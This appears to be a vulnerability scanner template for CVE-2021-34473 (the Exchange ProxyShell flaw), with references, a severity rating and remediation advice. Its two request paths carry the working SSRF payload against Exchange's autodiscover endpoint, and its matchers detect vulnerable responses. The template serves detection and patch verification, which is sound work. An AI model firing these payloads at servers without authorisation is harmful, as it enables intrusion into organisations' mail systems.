36 lines
1.4 KiB
YAML
36 lines
1.4 KiB
YAML
id: CVE-2021-34473
|
|
|
|
info:
|
|
name: Exchange Server - Remote Code Execution
|
|
author: arcc,intx0x80,dwisiswant0,r3dg33k
|
|
severity: critical
|
|
description: |
|
|
Microsoft Exchange Server is vulnerable to a remote code execution vulnerability. This CVE ID is unique from CVE-2021-31196, CVE-2021-31206.
|
|
reference:
|
|
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473
|
|
- https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html
|
|
- https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-34473
|
|
remediation: Apply Microsoft Exchange Server 2019 Cumulative Update 9 or upgrade to the latest version.
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-34473
|
|
tags: cve,cve2021,ssrf,rce,exchange,cisa
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com'
|
|
- '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com'
|
|
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
condition: or
|
|
words:
|
|
- "Microsoft.Exchange.Clients.Owa2.Server.Core.OwaADUserNotFoundException"
|
|
- "Exchange MAPI/HTTP Connectivity Endpoint"
|
|
|
|
# Enhanced by mp on 2022/05/02
|